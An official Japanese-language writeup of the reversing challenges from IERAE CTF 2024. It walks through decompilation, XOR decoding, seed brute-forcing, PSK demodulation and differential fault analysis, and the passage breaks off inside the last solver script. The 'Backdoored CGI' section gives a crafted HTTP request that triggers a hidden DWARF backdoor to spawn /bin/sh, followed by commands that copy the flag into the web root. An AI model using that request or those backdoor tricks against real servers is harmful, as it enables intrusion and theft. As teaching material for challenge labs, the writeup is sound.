セキュリティブログ

【Reversing】 IERAE CTF 2024 公式 Writeup

【Reversing】 IERAE CTF 2024 公式 Writeup

更新日:2024.10.08

本記事では2024年9月21日~22日に開催された、IERAE CTF 2024のReversing問題の解法を解説します。

他のジャンルの解説は以下の記事をご覧ください:

Assignment (warmup)

作問者: hugeh0ge
正解チーム数: 127

概要

chalという名前のELFファイルが与えられ、リバースエンジニアリングによりフラグを割り出す問題です。

解法

リバースエンジニアリングにより、chalは以下のようなコードがコンパイルされたものであると分かります。

char flag[34];

int main(int argc, char *argv[]) {
  flag[28] = '3';
  flag[1] = 'E';
  flag[2] = 'R';
  flag[20] = 'r';
  flag[26] = 'a';
  flag[10] = '_';
  flag[32] = '}';
...
  flag[14] = 'd';

  if (argc >= 2 && !strcmp(flag, argv[1])) {
    puts(flag);
  }
}

特に、IDA Proやghidraによりデコンパイルを行うと、上記のコードをすぐに復元することができます。フラグを1文字ずつ、ランダムな順序で配列に格納しているだけであるため、代入されている文字を適切に並び替えると、フラグが分かります。

フラグ: IERAE{s0me_r4nd0m_str1ng_5a9354c}

Luz Da Lua (easy, was-warmup)

作問者: n4nu
正解チーム数: 86

概要

LuzDaLua.luacをというLuaバイトコードにコンパイルされたファイルを解析する問題です。
以下のように実際に動かしてみると、入力された文字列が適切かどうか判定するプログラムであることがわかります。
このプログラムがCorrectのような出力をする文字列を見つける必要があります。

$ lua LuzDaLua.lua
Input > aaaaaa
Wrong

解法

まずLuaバイトコードを解析する方法としてまずディスアセンブルをする方法とデコンパイルする方法が考えられます。Lua 5.4のバイトコードに対応したデコンパイラを調査すると、unluac(https://sourceforge.net/projects/unluac/files/Unstable/ )というデコンパイラが見つかります。
unluacを使うと以下のようにLuaとして解釈可能なデコンパイル結果が得られます。

$ java -jar unluac_2023_12_24.jar ./LuzDaLua.luac
io.write("Input > ")
input = io.read("*l")
if 28 ~= string.len(input) then
elseif string.byte(input, 1) ~ 232 ~= 161 then
elseif 43 ~= string.byte(input, 2) ~ 110 then
elseif string.byte(input, 3) ~ 178 ~= 224 then
elseif string.byte(input, 4) ~ 172 ~= 237 then
elseif string.byte(input, 5) ~ 212 ~= 145 then
elseif 98 ~= string.byte(input, 6) ~ 25 then
elseif 121 ~= string.byte(input, 7) ~ 53 then
elseif 74 ~= string.byte(input, 8) ~ 63 then
elseif string.byte(input, 9) ~ 135 ~= 230 then
elseif 3 ~= string.byte(input, 10) ~ 92 then
elseif 23 ~= string.byte(input, 11) ~ 38 then
elseif string.byte(input, 12) ~ 250 ~= 137 then
elseif 135 ~= string.byte(input, 13) ~ 216 then
elseif 86 ~= string.byte(input, 14) ~ 5 then
elseif 117 ~= string.byte(input, 15) ~ 69 then
elseif string.byte(input, 16) ~ 226 ~= 189 then
elseif string.byte(input, 17) ~ 137 ~= 186 then
elseif string.byte(input, 18) ~ 148 ~= 240 then
elseif 53 ~= string.byte(input, 19) ~ 64 then
elseif string.byte(input, 20) ~ 130 ~= 225 then
elseif string.byte(input, 21) ~ 241 ~= 197 then
elseif string.byte(input, 22) ~ 151 ~= 227 then
elseif 250 ~= string.byte(input, 23) ~ 203 then
elseif string.byte(input, 24) ~ 179 ~= 220 then
elseif string.byte(input, 25) ~ 216 ~= 182 then
elseif 4 ~= string.byte(input, 26) ~ 101 then
elseif 130 ~= string.byte(input, 27) ~ 238 then
elseif 64 ~= string.byte(input, 28) ~ 61 then
else
  print("Correct")
  goto lbl_305
end
print("Wrong")
::lbl_305::

ここでは入力を1バイトずつXOR演算を行い、ある値と一致するかチェックしています。
そこで、このプログラムをもとに2つの値から期待される入力の文字列を復元するプログラムをPythonで作成しました。

flag = ''
flag += chr(232 ^ 161)
flag += chr(43 ^ 110)
flag += chr(178 ^ 224)
flag += chr(172 ^ 237)
flag += chr(212 ^ 145)
flag += chr(98 ^ 25)
flag += chr(121 ^ 53)
flag += chr(74 ^ 63)
flag += chr(135 ^ 230)
flag += chr(3 ^ 92)
flag += chr(23 ^ 38)
flag += chr(250 ^ 137)
flag += chr(135 ^ 216)
flag += chr(86 ^ 5)
flag += chr(117 ^ 69)
flag += chr(226 ^ 189)
flag += chr(137 ^ 186)
flag += chr(148 ^ 240)
flag += chr(53 ^ 64)
flag += chr(130 ^ 225)
flag += chr(241 ^ 197)
flag += chr(151 ^ 227)
flag += chr(250 ^ 203)
flag += chr(179 ^ 220)
flag += chr(216 ^ 182)
flag += chr(4 ^ 101)
flag += chr(130 ^ 238)
flag += chr(64 ^ 61)

print(flag)

このプログラムを実行すると、flagが得られます。

IERAE{Lua_1s_S0_3duc4t1onal}

The Kudryavka Sequence (easy)

作問者: n4nu
正解チーム数: 13

概要

提供されたファイル(laika.zip)を展開すると以下の3つのファイルが展開されます。

  • flag.png.laika
  • laika.exe
  • statement.png

  • laika.exeflag.pngというファイルを暗号化し、flag.png.laikaというファイルに書き出すプログラムです。
    このflag.png.laikaを復号し、flag.pngを復元することがこの問題の目標です。

    解法

    実行ファイルをIDA等を用いて解析すると、大まかに以下の処理が実装されていることがわかります。

  • flag.pngのデータを取得する(sub_140001410)
  • flag.png`を削除する(sub_1400016E0)
  • statement.pngを出力する(sub_1400018D0)
  • 現在時刻をもとに生成された数値をシード値としてsrand関数に渡す(0x140001B0D 〜 0x140001BBC)
  • rand関数を使ってkey及びivを生成する(0x140001BC3 〜 0x140001C45)
  • 生成されたkeyとivを使ってflag.pngのデータにAES暗号化を行う(sub_1400010D0)
  • rand関数で生成した数値を用いて暗号化したデータをシャッフルする(sub_140001650)
  • flag.png.laikaに書き出す(0x140001CAA以降)

  • 暗号化及びシャッフルに用いられるデータは時刻をもとに生成したseed値を特定することができれば再現することができることがわかります。以下に時刻取得とseed値生成の処理をC言語に書き起こしたものを示します。

      GetLocalTime(&SystemTime);
      srand(
        SystemTime.wMilliseconds
      + 131243
      * (SystemTime.wSecond
       + 131243
       * (SystemTime.wMinute
        + 131243
        * (SystemTime.wHour
         + 131243
         * (SystemTime.wDay
          + 131243 * (SystemTime.wDayOfWeek + 131243 * (SystemTime.wMonth + 131243 * (SystemTime.wYear + 131243))))))));

    GetLocalTime関数は現在のPCのタイムゾーンでの時刻を取得します。取得した時刻のSYSTEMTIME構造体の値をwYearから順番に131243を足して乗算する処理をした結果をseed値としています。

    ここでzipに記録されたstatement.pngflag.png.laikaの最終変更時刻を確認すると、2024 Sep 17 12:49:20であることがわかります。statement.pngが作成された時刻とflag.png.laikaが作成された時刻の間でGetLocalTime関数が実行されていることから、SYSTEMTIME構造体のデータは 2024 Sep 17 12:49:20 と一致している事がわかります。

    $ zipinfo -v ./laika.zip | grep -E '(\.png|UT extra field modtime)' | tail -n +3
      statement.png
      file last modified on (UT extra field modtime): 2024 Sep 17 12:49:20 local
      file last modified on (UT extra field modtime): 2024 Sep 17 03:49:20 UTC
      flag.png.laika
      file last modified on (UT extra field modtime): 2024 Sep 17 12:49:20 local
      file last modified on (UT extra field modtime): 2024 Sep 17 03:49:20 UTC

    zipの仕様上、wMillisecondsに相当するデータは記録されていませんが、Microsoftドキュメント(https://learn.microsoft.com/en-us/windows/win32/api/minwinbase/ns-minwinbase-systemtime )を参照すると、wMillisecondsは0〜999とされており、現実的な時間で探索できる事がわかります。

    以下にPythonを用いて実装したSolverを示します。

    import datetime
    import ctypes
    from Crypto.Cipher import AES
    
    crt = ctypes.CDLL('msvcrt.dll')
    
    crt.srand.argtypes = [ctypes.c_uint]
    crt.srand.restype = None
    crt.rand.argtypes = []
    crt.rand.restype = ctypes.c_int
    
    def srand(seed):
        crt.srand(seed)
    
    def rand():
        return crt.rand()
    
    def rand_range(min_val, max_val):
        rand_value = rand()
        rand_value *= rand()
        rand_value *= rand()
        rand_value &= 0xffffffff
        max_dword32 = 2**32 - 1
        return min_val + rand_value // (max_dword32 // (max_val - min_val + 1) + 1)
    
    def unshuffle_data(data):
        size = len(data)
        swaps = []
        for i in range(size):
            j = rand_range(0, size - 1)
            swaps.append((i, j))
        unshuffled_data = bytearray(data)
        for i, j in reversed(swaps):
            unshuffled_data[i], unshuffled_data[j] = unshuffled_data[j], unshuffled_data[i]
        return unshuffled_data
    
    def decrypt_aes_cbc(encrypted_data, key, iv):
        aes = AES.new(key, AES.MODE_CBC, iv=iv)
        decrypted = aes.decrypt(encrypted_data)
        return decrypted
    
    def main():
        # Read the encrypted file
        with open('flag.png.laika', 'rb') as f:
            encrypted_data = f.read()
    
    # zipinfo -v ./laika.zip
    #   statement.png
    #   file last modified on (UT extra field modtime): 2024 Sep 17 12:49:20 local
    
    #   flag.png.laika
    #   file last modified on (UT extra field modtime): 2024 Sep 17 12:49:20 local
    
        mod_date = datetime.datetime(2024, 9, 17, 12, 49, 20)
        localtime = {
            'wYear': mod_date.year,
            'wMonth': mod_date.month,
            'wDayOfWeek': mod_date.isoweekday() % 7, # 0: Sunday, 1: Monday, ..,, 6: Saturday
            'wDay': mod_date.day,
            'wHour': mod_date.hour,
            'wMinute': mod_date.minute,
            'wSecond': mod_date.second,
            'wMilliseconds': 0
        }
        for msec in range(1000):
            if msec % 50 == 0:
                print(f"Current msec: {msec:04d}")
            localtime['wMilliseconds'] = msec
    
            seed = 1
            for key in localtime:
                seed = (seed * 131243 + localtime[key]) & 0xffffffff
    
            srand(seed)
    
            # Key and IV (should be the same as used in encryption)
            key = bytes([rand() & 0xff for _ in range(32)])  # Replace with actual key
            iv = bytes([rand() & 0xff for _ in range(16)])   # Replace with actual IV
    
            # Unshuffle the data
            unshuffled_data = unshuffle_data(encrypted_data)
    
            # Decrypt the data
            decrypted_head = decrypt_aes_cbc(unshuffled_data[:16], key, iv)
            PNG_MAGIC = b'\x89\x50\x4E\x47\x0D\x0A\x1A\x0A'
    
            if decrypted_head.startswith(PNG_MAGIC):
                decrypted_data = decrypt_aes_cbc(unshuffled_data, key, iv)
                with open('decrypted_flag.png', 'wb') as f:
                    f.write(decrypted_data)
                print("Decryption succeeded")
                break
    
    if __name__ == '__main__':
        main()

    上記のプログラムを実行して出力された画像にflagが記載されています。

    IERAE{3xpec7at1on_1s_a_w0rd_r00ted_1n_g1ving_up.}

    analog (medium)

    作問者: noname
    正解チーム数: 10

    概要

    Linux(x86-64)の実行ファイルanalogが与えられます。この実行ファイルは入力(フラグ)を取り、これをある一定のアルゴリズムでエンコードして、出力(エンコードされたフラグ)を生成します。この実行ファイルにフラグを入力して生成された出力がバイナリファイルflag.encodedとして別途与えられているので、analogをリバースエンジニアリングした知見に基づいてflag.encodedをデコードし、フラグを得る問題です。

    解法

    analogには難読化等が施されていないので、IDAやGhidraを用いれば概ね順当にデコンパイルできます。デコンパイルすると、5つの関数で連鎖的に入力を処理していることが分かります。説明のため、ここでは著者が作問時に実装したソースコードでこの5つの関数の内容を次に示します。

    #include <stdio.h>
    #include <stdlib.h>
    #include <stdint.h>
    #include <math.h>
    
    float random_float()
    {
        uint32_t r;
    
        FILE* file = fopen("/dev/urandom", "r");
        fread(&r, sizeof(r), 1, file);
        fclose(file);
    
        return r / (0xffffffff * 1.0);
    }
    
    void func_1(char* inbuf, size_t inlen, uint8_t** outbuf, size_t* outlen)
    {
        *outlen = inlen * 8;
        *outbuf = (uint8_t*)malloc(*outlen);
    
        for (int i = 0; i < *outlen; i++) {
            (*outbuf)[i] = (inbuf[i / 8] >> (i % 8)) & 1;
        }
    
        free(inbuf);
    }
    
    void func_2(uint8_t* inbuf, size_t inlen, uint8_t** outbuf, size_t* outlen)
    {
        size_t padding = (3 * 8) - inlen % (3 * 8);
        inlen += padding;
        inbuf = realloc(inbuf, inlen);
        for (int i = inlen - padding; i < inlen; i++) {
            inbuf[i] = 0;
        }
    
        *outlen = inlen / 3;
        *outbuf = (uint8_t*)malloc(*outlen);
    
        for (int i = 0; i < inlen; i += 3) {
            uint8_t bits = \
                (inbuf[i + 2] << 2) | \
                (inbuf[i + 1] << 1) | \
                (inbuf[i + 0] << 0);
    
            (*outbuf)[i / 3] = bits;
        }
    
        free(inbuf);
    }
    
    void func_3(uint8_t* inbuf, size_t inlen, uint8_t** outbuf, size_t* outlen)
    {
        const uint8_t symbol_map[] = {
            0b000,
            0b011,
            0b111,
            0b100,
            0b001,
            0b010,
            0b110,
            0b101,
        };
    
        *outlen = inlen;
        *outbuf = (uint8_t*)malloc(*outlen);
    
        for (int i = 0; i < inlen; i++) {
            (*outbuf)[i] = symbol_map[inbuf[i]];
        }
    
        free(inbuf);
    }
    
    void func_4(uint8_t* inbuf, size_t inlen, float** outbuf, size_t* outlen)
    {
        *outlen = inlen * (4) * 2 * sizeof(**outbuf);
        *outbuf = (float*)malloc(*outlen);
    
        for (int i = 0; i < inlen; i++) {
            const float phase = (M_PI * 2.0) * (inbuf[i] / 8.0) + (M_PI * 2.0) * (1.0 / 16.0);
    
            for (int j = 0; j < (4) * 2; j += 2) {
                (*outbuf)[i * (4) * 2 + j + 0] = cosf(phase);
                (*outbuf)[i * (4) * 2 + j + 1] = sinf(phase);
            }
        }
    
        free(inbuf);
    }
    
    void func_5(float* inbuf, size_t inlen, float** outbuf, size_t* outlen)
    {
        *outlen = inlen;
        *outbuf = (float*)malloc(*outlen);
    
        for (int i = 0; i < inlen / sizeof(*inbuf); i += 2) {
            float r, h;
            r = (M_PI * 2.0) * random_float();
            h = random_float();
            (*outbuf)[i + 0] = inbuf[i + 0] + cosf(r) * ((0.4) * h);
            (*outbuf)[i + 1] = inbuf[i + 1] + sinf(r) * ((0.4) * h);
        }
    
        free(inbuf);
    }
    
    int main(int argc, char** argv)
    {
        void *inbuf, *outbuf;
        size_t inlen, outlen;
    
        inbuf = malloc(256);
        inlen = fread(inbuf, 1, 256, stdin);
    
        func_1((char*)inbuf, inlen, (uint8_t**)&outbuf, &outlen);
        inbuf = outbuf;
        inlen = outlen;
    
        func_2((uint8_t*)inbuf, inlen, (uint8_t**)&outbuf, &outlen);
        inbuf = outbuf;
        inlen = outlen;
    
        func_3((uint8_t*)inbuf, inlen, (uint8_t**)&outbuf, &outlen);
        inbuf = outbuf;
        inlen = outlen;
    
        func_4((uint8_t*)inbuf, inlen, (float**)&outbuf, &outlen);
        inbuf = outbuf;
        inlen = outlen;
    
        func_5((float*)inbuf, inlen, (float**)&outbuf, &outlen);
        inbuf = outbuf;
        inlen = outlen;
    
        fwrite(outbuf, 1, outlen, stdout);
        free(outbuf);
    }

    func_1は入力のバイト列を1bitずつ展開し、func_2は1bitずつ展開されたバイト列を3bitずつに組み立て直しています。func_3は3bit 8通りの値を全単射で他の3bit 8通りの値へ置換し、func_4はこの3bit 8通りの値を入力として1要素ずつcos/sinを計算し2次元平面における円周上の座標に変換します。最後にfunc_5が座標に対して乱数でノイズを加え、出力します。

    フラグが3bitずつ二次元平面上の座標としてエンコードされているので、座標からフラグを復元可能なことが分かるかと思います。最後にノイズが加えられてはいますが、同一の3bit値に対して4回座標が算出され、それぞれに対して独立にノイズが加えられているので、平均を取ることでノイズをある程度相殺できます。その方針で素直にフラグを復元するコードを実装して解くのも想定解ではあるのですが、著者として期待したのは、このまどろっこしいアルゴリズムが「何の処理なのか」ということを考えてもらうことです。

    ChatGPTなどにデコンパイルしたコードを入力して聞いてみると、このアルゴリズムが信号処理のそれであることを示唆する返答がしばしば得られます。また、CTFでRadioジャンルの問題を解く人にこのコードを見せると、ピンと来ることもあるのではないかと思います。結論から言うと、このアルゴリズムは無線通信における位相偏移変調(PSK)の変調処理をソフトウェアで実装したものです。出力されるファイルはフラグをPSK変調でエンコードしてノイズを加えたものになっており、GNU Radio等のツールでPSK復調を行うと、慣れている人なら復元コードを素直に実装するよりも早く問題を解けるようになっています。

    ということで、この問題の第一の想定解はGNU RadioによるPSK復調、第二の想定解は自前実装によるフラグ復元となります。単にアルゴリズムをリバースエンジニアリングしても解けるのですが、より高い抽象度で処理の意味を解明できる人にはボーナスとしてショートカットを可能にすることを意図しました。

    GNU Radioを使う想定解は次の通りです。

    連続して送信されるサンプルをSymbol Syncで間引き、Constellation Decoderで8PSKとして復調し、Repack Bitsで3bit単位の伝送を8bit単位に詰め直して出力します。また、Symbol Sync後にQT GUI Time SinkとQT GUI Constellation Sinkへ信号を出力し、右下のグラフで確認できるようにしています。

    復調結果は次のようになります。フラグとして期待される書式のデータが得られていることが分かります。

    IERAE{CUX1gTetD0bi5Cj7fGJUiEYK52L6vFwoGIJa1FidfbU}

    Backdoored CGI (hard, +web)

    作問者: hugeh0ge
    正解チーム数: 1

    概要

    バックドアが仕掛けられた後のCGIと、仕掛けられる前のCGIが与えられるので、以下の手順により、バックドアが仕掛けられたCGIを動かしているWebサーバーに侵入する問題です。

    1. バックドアがどこに実装されているのかを特定する
    2. バックドアを実行するための条件を割り出す
    3. Webサーバーに通信を送り、バックドアを起動し、サーバー上のフラグを得る

    なお、CGIはC++で実装されたバイナリになっています。

    解法

    問題文で言及されている通り、バックドアを仕掛けられる前と仕掛けられた後で、逆アセンブリ結果に違いが一切ありません。

    $ diff <(objdump -d original_setting.cgi) <(objdump -d patched_setting.cgi)
    2c2
    < original_setting.cgi:     file format elf64-x86-64
    ---
    > patched_setting.cgi:     file format elf64-x86-64
    
    $

    しかしながら、確かに、問題文中に書かれているコマンドを実行すると、patched_setting.cgiでのみ、/bin/shが起動します。

    user@laptop:distfiles/$ ENABLE_DEBUG_CGI=1 ./original_setting.cgi "500 test"
    terminate called after throwing an instance of 'int'
    Aborted
    
    user@laptop:distfiles/$ ENABLE_DEBUG_CGI=1 ./patched_setting.cgi "500 test"
    $ ps
        PID TTY          TIME CMD
      91801 pts/2    00:00:00 bash
     171259 pts/2    00:00:00 sh

    stracegdbなどにより、patched_setting.cgi/bin/shを起動するまでの流れをデバッグしてみると、original_setting.cgiと同様に例外をthrowした後、なぜか /bin/sh を起動していることが分かります。

    逆アセンブル結果は一致しており、機械語自体には一切パッチが当てられないこと、C++の例外ではDWARFが利用されていることなどを照らし合わせると、DWARFバイトコードによりバックドアが実装されているのではないか、と予想がつきます。実際、readelf -wなどの実行結果を、2つのCGIで見比べてみると、以下のような差があることが分かります。

    $ diff <(readelf -w ./original_setting.cgi) <(readelf -w ./patched_setting.cgi)
    ...
    207c207,211
    <   DW_CFA_advance_loc2: 2152 to 000000000040783c
    ---
    >   DW_CFA_advance_loc1: 254 to 00000000004070d2
    >   DW_CFA_val_expression: r7 (rsp) (DW_OP_drop; DW_OP_const4u: 4237397; DW_OP_const4u: 5901258; DW_OP_const4u: 4264352; DW_OP_const1u: 0; DW_OP_const4u: 4217184; DW_OP_reg7 (rsp); DW_OP_const2u: 2384; DW_OP_minus)
    >   DW_CFA_advance_loc: 5 to 00000000004070d7
    >   DW_CFA_val_expression: r7 (rsp) (DW_OP_drop; DW_OP_reg7 (rsp); DW_OP_const2u: 888; DW_OP_plus; DW_OP_deref; DW_OP_const1u: 1; DW_OP_over; DW_OP_deref_size: 1; DW_OP_dup; DW_OP_const1u: 0; DW_OP_eq; DW_OP_bra: 9; DW_OP_mul; DW_OP_swap; DW_OP_const1u: 1; DW_OP_plus; DW_OP_swap; DW_OP_skip: -19; DW_OP_drop; DW_OP_const8u: 4294967296; DW_OP_mod; DW_OP_const4u: 4277009102; DW_OP_ne; DW_OP_bra: 26; DW_OP_drop; DW_OP_const4u: 4237397; DW_OP_const4u: 5901258; DW_OP_const4u: 4264352; DW_OP_const1u: 0; DW_OP_const4u: 4217184; DW_OP_skip: 138; DW_OP_drop; DW_OP_const4u: 4237397; DW_OP_const1u: 73; DW_OP_const4u: 4264352; DW_OP_const4u: 6269056; DW_OP_const4u: 5156016; DW_OP_const4u: 4237397; DW_OP_const1u: 100; DW_OP_const4u: 4264352; DW_OP_const4u: 6269056; DW_OP_const4u: 5156016; DW_OP_const4u: 4237397; DW_OP_const1u: 105; DW_OP_const4u: 4264352; DW_OP_const4u: 6269056; DW_OP_const4u: 5156016; DW_OP_const4u: 4237397; DW_OP_const1u: 111; DW_OP_const4u: 4264352; DW_OP_const4u: 6269056; DW_OP_const4u: 5156016; DW_OP_const4u: 4237397; DW_OP_const1u: 116; DW_OP_const4u: 4264352; DW_OP_const4u: 6269056; DW_OP_const4u: 5156016; DW_OP_const4u: 4237397; DW_OP_const1u: 10; DW_OP_const4u: 4264352; DW_OP_const4u: 6269056; DW_OP_const4u: 5156016; DW_OP_const4u: 5089584; DW_OP_reg7 (rsp); DW_OP_const2u: 2352; DW_OP_minus)
    >   DW_CFA_advance_loc2: 1893 to 000000000040783c

    これらのDW_CFA_val_expressionがバックドアの本体になっています。ただし、上記の出力からも分かる通り、バイトコードは2種類存在しています。アドレス 0x4070d2 から 0x4070d6 の間で例外が発生した場合には1つめのバイトコードが、0x4070d7以降で例外が発生した場合は 2つめのバイトコードが実行されます。

    0x4070d2 から 0x4070d6 は、ENABLE_DEBUG_CGI=1 ./patched_setting.cgi "500 test"を実行した際の、throw 1 が行われるアドレスです。1つめのバイトコードをリバースエンジニアリングしてみると、単純にROPによって /bin/sh を実行していることが分かります。したがって、リモートのWebサーバーに対しても、このコードパスを用いて /bin/sh を起動したくなるところです。しかし、冷静に考えてみると、Webサーバー経由では、CGIには HTTP_ で始まる環境変数しか設定することができないため、この実行パスによるバックドアの起動はできないことが分かります。

    そこで、2つめのバイトコードに注目してみます。解析すると、2つめのバイトコードには、パスワード認証のようなものが掛かっており、それを突破すると1つめのバイトコードと同様に /bin/sh を起動することが分かります。

    さて、ここまで調査したことを整理すると、以下の2つの障壁をクリアする必要があると分かります。

    1. 2つめのバイトコードが実行されるように、0x4070d7 以降(すなわち、CGIの処理中)で例外が起きる実行パスを見つける
    2. バイトコード中のパスワード認証を突破する

    前者は、言い換えるとCGIが用いているOSSライブラリ cgicc から、unhandled exceptionを起こしてしまう実行パスを見つけるということなので、webパートであると分かります(配布した README にも記載した通り、CGIはcgiccをパッチすることなく用いているため、以降、CGIのリバースエンジニアリングは不要です)。

    後者は、バイトコードをリバースエンジニアリングし、パスワードの検証ロジックを理解したうえで、パスワードを算出するreversingパートになります。

    まず、前者については、結論から言うと Content-Length を 10 ** 9などの大きな値に設定すると、std::bad_allocが発生します。これは、cgiccの以下の部分を読めばわかります(httpd.confで、使用できるメモリ量が制限されていることに注意します)。

      if(stringsAreEqual(fRequestMethod, "post") || stringsAreEqual(fRequestMethod, "put")) {
        // Don't use auto_ptr, but vector instead
        // Bug reported by shinra@j10n.org
        std::vector<char> data(fContentLength);

    実際、CGIで試してみると、バックドアの有無によって挙動が変化し、バイトコードが実行されていることが分かります。

    $ CONTENT_LENGTH=10000000000000 REQUEST_METHOD=POST ./original_setting.cgi
    terminate called after throwing an instance of 'std::bad_alloc'
      what():  std::bad_alloc
    Aborted
    
    $ CONTENT_LENGTH=10000000000000 REQUEST_METHOD=POST ./patched_setting.cgi
    Idiot
    
    $

    次にバイトコードのパスワード認証ですが、リバースエンジニアリングをすれば、「Refererヘッダに与えられているバイト列を見て、各バイトを1バイト整数として掛け合わせたとき、4バイト整数として 0xfeedfaceになるか」を検証していることが分かります。条件を満たすパスワードは、半分全列挙や幅優先探索といったアルゴリズムにより求めることが可能です。実装の際は、ヘッダに含められるバイトのみから構成しなければならないことに注意が必要です(例えばヌル文字は含められない)。

    以上により、例えば下記のようなヘッダでリクエストを送信すると、/bin/shが実行されると分かります。

    POST /cgi-bin/setting.cgi HTTP/1.1
    Host: localhost
    Content-Length: 1000000000
    Referer: \x21\x21\xa1\xc1\xfe\x8d\x9d

    最後に、CGIとの通信では、Apache httpdが間に挟まっていることをケアする必要があります。というのも、こちらが /bin/sh に送る入力は、Apache httpdがバッファリングをしてしまうため、1バイトずつCGIが受け取ってくれるわけではありません。また、例えば Content-Length: 1000000000を送信したとき、基本的にApache httpdは1000000000バイトのデータを受け取るまで、CGIの出力を返してくれません。

    前者の問題については、数千バイトのデータを送れば、Apache httpdは、それをCGIにフラッシュ(送信)してくれるため、例えば cat /flag*のような少ないバイト数のデータを送らないようにさえ気を付けていればよいです。

    後者の問題については、Dockerfileを見ると、ドキュメントルートである/usr/local/apache2/htdocs/が書き込み可になっているため、cat /flag* > /usr/local/apache2/htdocs/sample.txtのようなコマンドを実行したのち、curl $HOST/sample.txtによってフラグを取得すればよいです。あるいは、外部サーバーにコネクトバックさせることでも取得できると考えられます。

    Fortress (hard, +crypto)

    作問者: n4nu
    正解チーム数: 1

    概要

    Rustで書かれたプログラムがサーバーで動作しており、「入力されたデータの暗号化」と「暗号化されたフラグの取得」が可能です。目標は暗号化されたフラグを復号することです。

    解法

    機能概要

    実行ファイルを動作させるにはkey.txtflag.txtが実行ディレクトリに存在する必要があります。key.txtは96バイトである必要があり、関数core::iter::adapters::try_process内で呼び出される関数core::num::<impl u8>::from_str_radixによって16進数として解釈され、型Vec<u8>のデータに変換されます。

    Vec<u8>に変換された鍵を使って暗号化に用いる内部ステートの初期化を行い(sub_86A0)、flag.txtのデータを暗号化します(sub_8980)。

    flagの暗号化が完了すると、メニュー画面が表示されます。仮に設定したkey.txtflag.txtを設定したうえで実行すると以下のような文字列が表示されます。

    $ ./fortress
    1. Encrypt
    2. Get Encrypted Flag
    3. Exit
    > 

    ここで1を押すと「入力されたデータの暗号化」、2を押すと「暗号化されたフラグの取得」の機能が利用できます。

    「入力されたデータの暗号化」は関数sub_9670で行っています。関数sub_9670に遷移するとまず標準入力から文字列を受け取ります。受け取ったデータはBase64としてデコードされます(0x974D 〜 0x98AD)。その後関数sub_8980内で暗号化された後、関数sub_9280でBase64エンコードされて標準出力に書き出されます。

    「暗号化されたフラグの取得」は関数sub_9BB0で行っています。当該関数の呼び出し時に暗号化済みのflagを渡し、Base64エンコードを行い標準出力に書き出します。

    暗号化処理の概要

    暗号化処理を擬似コードに書き起こしたものを以下に示します。ここでaesenc関数はx86命令におけるAESENCと同じ動作をします。またここで扱うデータのビット幅は128bitです。

    ciphertext[0] = plaintext[0] ^ aesenc(           state[1], state[5]);
    ciphertext[1] = plaintext[1] ^ aesenc(state[0] ^ state[4], state[2]);
    
    state_new[0] = state[7] ^ ciphertext[0];
    state_new[1] = aesenc(state[0], state[7]);
    state_new[2] = state[1] ^ state[6];
    state_new[3] = aesenc(state[2], state[1]);
    state_new[4] = state[3] ^ ciphertext[1];
    state_new[5] = aesenc(state[4], state[3]);
    state_new[6] = aesenc(state[5], state[4]);
    state_new[7] = state[6] ^ state[0];
    
    copy_state(state, state_new);

    ラウンドごとにaesenc関数とstateによって生成された乱数列を用いてplaintextを暗号化したのち、暗号文をもとにしたstateの更新を行います。

    Base64パディングビットを利用したバックドア

    「入力されたデータの暗号化」のBase64デコード処理において、パディングビット使ったバックドアが実装されています。このバックドアを利用することで内部ステートに対して1ビット反転(故障の挿入)を行うことが可能です。

    Base64は6ビットを1文字に置き換えるため、6*n+2ビットのデータをエンコードする際に、余った2ビットに対して4ビット追加します。ここでは通常0000がパディングとして用いられますが、デコード結果に影響を及ぼさないため、任意のビット列を挿入することが可能です。今回のプログラムではこの4ビットのうち、最上位ビットをバックドアのトリガーとして、故障挿入を行います。以下にバックドア機能における故障挿入処理のコードを示します。

    Err(e) => {
        if e.msg & 0b1000 != 0 {
            let xor_bit_location = ((e.msg >> 4) & 0b01111111) as u8;
            let state_location = (e.msg & 0b0111) as usize;
            ctx.state[state_location] ^= ((1 as u128) << xor_bit_location) as u128;
            e.data
        } else {
            e.data
        }
    }

    上記のコードのように、パディングビットのち最上位ビットを除いた残りの3ビットで故障を挿入する内部ステートのインデックスを指定し、デコードした結果の末尾7ビットを用いて、故障を挿入するビットの位置を指定することが可能です。

    差分故障解析による内部ステートの復元

    内部ステートのある1ビットに対してビット反転操作を行うことが可能であり、差分故障解析をすることで内部状態の復元が可能です。

    まずstate[1]に着目します。state[1]が関わる暗号化処理は以下のとおりです。

    ciphertext[0] = plaintext[0] ^ aesenc(state[1], state[5]);

    このときstate[1]に故障を挿入するということはラウンド数が1のAESに対して差分故障解析を行うことと同じであると言えます。そこで実際にstate[1]のあるビットに故障を挿入したときと、故障を挿入していない暗号文の差分を計算すると4バイト分のデータに差分が現れることがわかります。ラウンド数が1のAESに対する差分故障解析についてはDifferential Fault Analysis on A.E.S.を参照することを推奨します。
    差分故障解析を用いてstate[1]を復元すると、ciphertext[0]が既知であることからstate[5]を復元することができます。

    次にstate[4]に故障を挿入する差分故障解析を考えます。state[1]が関わる暗号化処理は以下のとおりです。

    ciphertext[1] = plaintext[1] ^ aesenc(state[0] ^ state[4], state[2]);

    同様にstate[4]での差分故障解析を行うと、state[0] ^ state[4]state[2]を復元できます。

    次にstate[3]に故障挿入を行う差分故障解析では、差分が現在の暗号文ではなく1ラウンド先の暗号文に現れます。これによりstate[3] ^ state[7]が復元でき、同時にstate[6]を復元できます。以降同様に差分故障解析を行うことで state[4]state[0]state[7]を復元できます。

    内部ステートの巻き戻し

    今回の問題では既に暗号化した結果(暗号化されたflag)を復号する必要があります。そのためには以前のラウンドの内部ステートを復元することが必要となります。
    あるラウンドの内部ステートと1つ前のラウンドの暗号文が既知である前提をおくと、以下の擬似コードの通りに復元するここでaesdec関数はx86命令におけるAESDECと同じ動作をします。またここで扱うデータのビット幅は128bitです。

    prev_state[7] = xor(state[0], ciphertext[0])
    prev_state[0] = aesdec(state[1], prev_state[7])
    prev_state[3] = xor(state[4], ciphertext[1])
    prev_state[4] = aesdec(state[5], prev_state[3])
    prev_state[5] = aesdec(state[6], prev_state[4])
    prev_state[6] = xor(state[7], prev_state[0])
    prev_state[1] = xor(state[2], prev_state[6])
    prev_state[2] = aesdec(state[3], prev_state[1])

    Solver

    flagの暗号化に用いられた内部ステートの復元までできたため、aesenc(state[1], state[5])aesenc(state[0] ^ state[4], state[2])を計算することでflagを復号することが可能です。以下に差分故障解析を含めたsolverのコードを示します。

    from pwn import *
    import argparse
    
    # context.log_level = 'debug'
    context.log_level = 'error'
    
